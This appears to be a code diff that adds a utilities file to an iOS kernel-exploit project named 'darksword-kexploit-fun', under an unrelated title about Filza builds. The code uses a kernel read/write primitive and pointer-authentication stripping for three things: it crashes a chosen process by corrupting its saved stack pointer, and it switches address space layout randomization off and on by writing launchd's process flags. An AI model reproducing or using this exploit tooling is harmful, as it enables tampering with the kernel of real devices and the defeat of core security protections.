Filza 27.2 worse_query: public and developer builds

utils/process.c

@@ -0,0 +1,51 @@
+//
+//  process.c
+//  darksword-kexploit-fun
+//
+//  Created by seo on 3/26/26.
+//
+
+#include "process.h"
+#include <stddef.h>
+#include "../kexploit/kutils.h"
+#include "../kexploit/krw.h"
+#include "../kexploit/xpaci.h"
+#include "../kexploit/offsets.h"
+
+int crash_process(const char* name) {
+    uint64_t proc = proc_find_by_name(name);
+    uint64_t task = proc_task(proc);
+    
+    uint64_t threads = kread64(task + off_task_threads_next);
+    
+    uint64_t upcb = kread64(threads + off_thread_machine_upcb);
+    upcb = xpaci(upcb);
+    
+    uint64_t state = upcb + off_arm_saved_state_uss_ss_64;
+    
+    kwrite64(state + offsetof(struct arm_saved_state64, sp), 0x1337133713371337);
+    
+    return 0;
+}
+
+// xnu-10002.81.5/bsd/sys/proc.h
+#define P_DISABLE_ASLR  0x00001000      /* Disable address space layout randomization */
+int disable_aslr(void) {
+
+    uint64_t launchd_proc = proc_find(1);
+    uint32_t p_flag = kread32(launchd_proc + off_proc_p_flag);
+
+    kwrite32(launchd_proc + off_proc_p_flag, p_flag | P_DISABLE_ASLR);
+
+    return 0;
+}
+
+int enable_aslr(void) {
+
+    uint64_t launchd_proc = proc_find(1);
+    uint32_t p_flag = kread32(launchd_proc + off_proc_p_flag);
+
+    kwrite32(launchd_proc + off_proc_p_flag, p_flag &~P_DISABLE_ASLR);
+
+    return 0;
+}